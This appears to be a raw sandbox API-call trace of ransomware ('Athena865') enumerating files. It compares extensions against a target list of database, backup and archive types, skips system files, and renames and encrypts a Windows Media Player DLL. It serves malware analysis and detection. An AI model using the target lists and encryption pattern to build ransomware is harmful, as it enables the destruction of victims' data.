[0047.536] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0047.536] lstrlenW (lpString="db3") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0047.537] lstrlenW (lpString="dbf") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0047.537] lstrlenW (lpString="mdf") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0047.537] lstrlenW (lpString="mdb") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0047.537] lstrlenW (lpString="sql") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0047.537] lstrlenW (lpString="sqlite") returned 6 [0047.537] lstrcmpiW (lpString1="re.dll", lpString2="sqlite") returned -1 [0047.537] lstrlenW (lpString="sqlite3") returned 7 [0047.537] lstrcmpiW (lpString1="ore.dll", lpString2="sqlite3") returned -1 [0047.537] lstrlenW (lpString="sqlitedb") returned 8 [0047.537] lstrcmpiW (lpString1="Core.dll", lpString2="sqlitedb") returned -1 [0047.537] lstrlenW (lpString="xml") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0047.537] lstrlenW (lpString="$er") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0047.537] lstrlenW (lpString="4dd") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0047.537] lstrlenW (lpString="4dl") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0047.537] lstrlenW (lpString="^^^") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0047.537] lstrlenW (lpString="abs") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0047.537] lstrlenW (lpString="abx") returned 3 [0047.537] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0047.537] lstrlenW (lpString="accdb") returned 5 [0047.537] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0047.537] lstrlenW (lpString="accdc") returned 5 [0047.537] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0047.537] lstrlenW (lpString="accde") returned 5 [0047.537] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0047.537] lstrlenW (lpString="accdr") returned 5 [0047.537] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0047.537] lstrlenW (lpString="accdt") returned 5 [0047.538] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0047.538] lstrlenW (lpString="accdw") returned 5 [0047.538] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0047.538] lstrlenW (lpString="accft") returned 5 [0047.538] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0047.538] lstrlenW (lpString="adb") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0047.538] lstrlenW (lpString="adb") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0047.538] lstrlenW (lpString="ade") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0047.538] lstrlenW (lpString="adf") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0047.538] lstrlenW (lpString="adn") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0047.538] lstrlenW (lpString="adp") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0047.538] lstrlenW (lpString="alf") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0047.538] lstrlenW (lpString="ask") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0047.538] lstrlenW (lpString="btr") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0047.538] lstrlenW (lpString="cat") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0047.538] lstrlenW (lpString="cdb") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0047.538] lstrlenW (lpString="ckp") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0047.538] lstrlenW (lpString="cma") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0047.538] lstrlenW (lpString="cpd") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0047.538] lstrlenW (lpString="dacpac") returned 6 [0047.538] lstrcmpiW (lpString1="re.dll", lpString2="dacpac") returned 1 [0047.538] lstrlenW (lpString="dad") returned 3 [0047.538] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0047.538] lstrlenW (lpString="dadiagrams") returned 10 [0047.539] lstrcmpiW (lpString1="MCCore.dll", lpString2="dadiagrams") returned 1 [0047.539] lstrlenW (lpString="daschema") returned 8 [0047.539] lstrcmpiW (lpString1="Core.dll", lpString2="daschema") returned -1 [0047.539] lstrlenW (lpString="db-journal") returned 10 [0047.539] lstrcmpiW (lpString1="MCCore.dll", lpString2="db-journal") returned 1 [0047.539] lstrlenW (lpString="db-shm") returned 6 [0047.539] lstrcmpiW (lpString1="re.dll", lpString2="db-shm") returned 1 [0047.539] lstrlenW (lpString="db-wal") returned 6 [0047.539] lstrcmpiW (lpString1="re.dll", lpString2="db-wal") returned 1 [0047.539] lstrlenW (lpString="dbc") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0047.539] lstrlenW (lpString="dbs") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0047.539] lstrlenW (lpString="dbt") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0047.539] lstrlenW (lpString="dbv") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0047.539] lstrlenW (lpString="dbx") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0047.539] lstrlenW (lpString="dcb") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0047.539] lstrlenW (lpString="dct") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0047.539] lstrlenW (lpString="dcx") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0047.539] lstrlenW (lpString="ddl") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0047.539] lstrlenW (lpString="dlis") returned 4 [0047.539] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0047.539] lstrlenW (lpString="dp1") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0047.539] lstrlenW (lpString="dqy") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0047.539] lstrlenW (lpString="dsk") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0047.539] lstrlenW (lpString="dsn") returned 3 [0047.539] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0047.539] lstrlenW (lpString="dtsx") returned 4 [0047.539] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0047.540] lstrlenW (lpString="dxl") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0047.540] lstrlenW (lpString="eco") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0047.540] lstrlenW (lpString="ecx") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0047.540] lstrlenW (lpString="edb") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0047.540] lstrlenW (lpString="epim") returned 4 [0047.540] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0047.540] lstrlenW (lpString="fcd") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0047.540] lstrlenW (lpString="fdb") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0047.540] lstrlenW (lpString="fic") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0047.540] lstrlenW (lpString="flexolibrary") returned 12 [0047.540] lstrcmpiW (lpString1="PDMCCore.dll", lpString2="flexolibrary") returned 1 [0047.540] lstrlenW (lpString="fm5") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0047.540] lstrlenW (lpString="fmp") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0047.540] lstrlenW (lpString="fmp12") returned 5 [0047.540] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0047.540] lstrlenW (lpString="fmpsl") returned 5 [0047.540] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0047.540] lstrlenW (lpString="fol") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0047.540] lstrlenW (lpString="fp3") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0047.540] lstrlenW (lpString="fp4") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0047.540] lstrlenW (lpString="fp5") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0047.540] lstrlenW (lpString="fp7") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0047.540] lstrlenW (lpString="fpt") returned 3 [0047.540] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0047.540] lstrlenW (lpString="frm") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0047.541] lstrlenW (lpString="gdb") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0047.541] lstrlenW (lpString="gdb") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0047.541] lstrlenW (lpString="grdb") returned 4 [0047.541] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0047.541] lstrlenW (lpString="gwi") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0047.541] lstrlenW (lpString="hdb") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0047.541] lstrlenW (lpString="his") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0047.541] lstrlenW (lpString="ib") returned 2 [0047.541] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0047.541] lstrlenW (lpString="idb") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0047.541] lstrlenW (lpString="ihx") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0047.541] lstrlenW (lpString="itdb") returned 4 [0047.541] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0047.541] lstrlenW (lpString="itw") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0047.541] lstrlenW (lpString="jet") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0047.541] lstrlenW (lpString="jtx") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0047.541] lstrlenW (lpString="kdb") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0047.541] lstrlenW (lpString="kexi") returned 4 [0047.541] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0047.541] lstrlenW (lpString="kexic") returned 5 [0047.541] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0047.541] lstrlenW (lpString="kexis") returned 5 [0047.541] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0047.541] lstrlenW (lpString="lgc") returned 3 [0047.541] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0047.541] lstrlenW (lpString="lwx") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0047.542] lstrlenW (lpString="maf") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0047.542] lstrlenW (lpString="maq") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0047.542] lstrlenW (lpString="mar") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0047.542] lstrlenW (lpString="marshal") returned 7 [0047.542] lstrcmpiW (lpString1="ore.dll", lpString2="marshal") returned 1 [0047.542] lstrlenW (lpString="mas") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0047.542] lstrlenW (lpString="mav") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0047.542] lstrlenW (lpString="maw") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0047.542] lstrlenW (lpString="mdbhtml") returned 7 [0047.542] lstrcmpiW (lpString1="ore.dll", lpString2="mdbhtml") returned 1 [0047.542] lstrlenW (lpString="mdn") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0047.542] lstrlenW (lpString="mdt") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0047.542] lstrlenW (lpString="mfd") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0047.542] lstrlenW (lpString="mpd") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0047.542] lstrlenW (lpString="mrg") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0047.542] lstrlenW (lpString="mud") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0047.542] lstrlenW (lpString="mwb") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0047.542] lstrlenW (lpString="myd") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0047.542] lstrlenW (lpString="ndf") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0047.542] lstrlenW (lpString="nnt") returned 3 [0047.542] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0047.542] lstrlenW (lpString="nrmlib") returned 6 [0047.543] lstrcmpiW (lpString1="re.dll", lpString2="nrmlib") returned 1 [0047.543] lstrlenW (lpString="ns2") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0047.543] lstrlenW (lpString="ns3") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0047.543] lstrlenW (lpString="ns4") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0047.543] lstrlenW (lpString="nsf") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0047.543] lstrlenW (lpString="nv") returned 2 [0047.543] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0047.543] lstrlenW (lpString="nv2") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0047.543] lstrlenW (lpString="nwdb") returned 4 [0047.543] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0047.543] lstrlenW (lpString="nyf") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0047.543] lstrlenW (lpString="odb") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0047.543] lstrlenW (lpString="odb") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0047.543] lstrlenW (lpString="oqy") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0047.543] lstrlenW (lpString="ora") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0047.543] lstrlenW (lpString="orx") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0047.543] lstrlenW (lpString="owc") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0047.543] lstrlenW (lpString="p96") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0047.543] lstrlenW (lpString="p97") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0047.543] lstrlenW (lpString="pan") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0047.543] lstrlenW (lpString="pdb") returned 3 [0047.543] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0047.543] lstrlenW (lpString="pdm") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0047.544] lstrlenW (lpString="pnz") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0047.544] lstrlenW (lpString="qry") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0047.544] lstrlenW (lpString="qvd") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0047.544] lstrlenW (lpString="rbf") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0047.544] lstrlenW (lpString="rctd") returned 4 [0047.544] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0047.544] lstrlenW (lpString="rod") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0047.544] lstrlenW (lpString="rodx") returned 4 [0047.544] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0047.544] lstrlenW (lpString="rpd") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0047.544] lstrlenW (lpString="rsd") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0047.544] lstrlenW (lpString="sas7bdat") returned 8 [0047.544] lstrcmpiW (lpString1="Core.dll", lpString2="sas7bdat") returned -1 [0047.544] lstrlenW (lpString="sbf") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0047.544] lstrlenW (lpString="scx") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0047.544] lstrlenW (lpString="sdb") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0047.544] lstrlenW (lpString="sdc") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0047.544] lstrlenW (lpString="sdf") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0047.544] lstrlenW (lpString="sis") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0047.544] lstrlenW (lpString="spq") returned 3 [0047.544] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0047.544] lstrlenW (lpString="te") returned 2 [0047.544] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0047.544] lstrlenW (lpString="teacher") returned 7 [0047.545] lstrcmpiW (lpString1="ore.dll", lpString2="teacher") returned -1 [0047.545] lstrlenW (lpString="tmd") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0047.545] lstrlenW (lpString="tps") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0047.545] lstrlenW (lpString="trc") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0047.545] lstrlenW (lpString="trc") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0047.545] lstrlenW (lpString="trm") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0047.545] lstrlenW (lpString="udb") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0047.545] lstrlenW (lpString="udl") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0047.545] lstrlenW (lpString="usr") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0047.545] lstrlenW (lpString="v12") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0047.545] lstrlenW (lpString="vis") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0047.545] lstrlenW (lpString="vpd") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0047.545] lstrlenW (lpString="vvv") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0047.545] lstrlenW (lpString="wdb") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0047.545] lstrlenW (lpString="wmdb") returned 4 [0047.545] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0047.545] lstrlenW (lpString="wrk") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0047.545] lstrlenW (lpString="xdb") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0047.545] lstrlenW (lpString="xld") returned 3 [0047.545] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0047.545] lstrlenW (lpString="xmlff") returned 5 [0047.545] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0047.545] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll.Athena865") returned 68 [0047.546] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll" (normalized: "c:\\program files (x86)\\windows media player\\wmpdmccore.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpdmccore.dll.athena865"), dwFlags=0x1) returned 1 [0047.546] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\WMPDMCCore.dll.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\wmpdmccore.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0047.546] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=324096) returned 1 [0047.546] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0047.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0047.547] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0047.547] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0047.547] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0047.547] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.548] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f500, lpName=0x0) returned 0x17c [0047.549] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f500) returned 0x1f0000 [0047.566] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0047.567] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0047.567] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0047.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0047.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0047.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0047.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0047.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0047.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0047.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52a400 [0047.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0047.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a400 | out: hHeap=0x4f0000) returned 1 [0047.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0047.567] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0047.570] CloseHandle (hObject=0x17c) returned 1 [0047.570] CloseHandle (hObject=0x154) returned 1 [0047.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0047.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0047.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0047.572] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fdc01da, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x4fdc01da, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7a92dc30, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmpenc.exe", cAlternateFileName="")) returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="..") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="windows") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="bootmgr") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="temp") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="pagefile.sys") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="boot") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="ids.txt") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="ntuser.dat") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="perflogs") returned 1 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2="MSBuild") returned 1 [0047.572] lstrlenW (lpString="wmpenc.exe") returned 10 [0047.572] lstrcpyW (in: lpString1=0x241e8a0, lpString2="wmpenc.exe" | out: lpString1="wmpenc.exe") returned="wmpenc.exe" [0047.572] lstrlenW (lpString="wmpenc.exe") returned 10 [0047.572] lstrlenW (lpString="Athena865") returned 9 [0047.572] lstrcmpiW (lpString1="mpenc.exe", lpString2="Athena865") returned 1 [0047.572] lstrlenW (lpString=".dll") returned 4 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".dll") returned 1 [0047.572] lstrlenW (lpString=".lnk") returned 4 [0047.572] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".lnk") returned 1 [0047.573] lstrlenW (lpString=".ini") returned 4 [0047.573] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".ini") returned 1 [0047.573] lstrlenW (lpString=".sys") returned 4 [0047.573] lstrcmpiW (lpString1="wmpenc.exe", lpString2=".sys") returned 1 [0047.573] lstrlenW (lpString="wmpenc.exe") returned 10 [0047.573] lstrlenW (lpString="bak") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0047.573] lstrlenW (lpString="ba_") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0047.573] lstrlenW (lpString="dbb") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0047.573] lstrlenW (lpString="vmdk") returned 4 [0047.573] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0047.573] lstrlenW (lpString="rar") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0047.573] lstrlenW (lpString="zip") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0047.573] lstrlenW (lpString="tgz") returned 3 [0047.573] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0047.573] 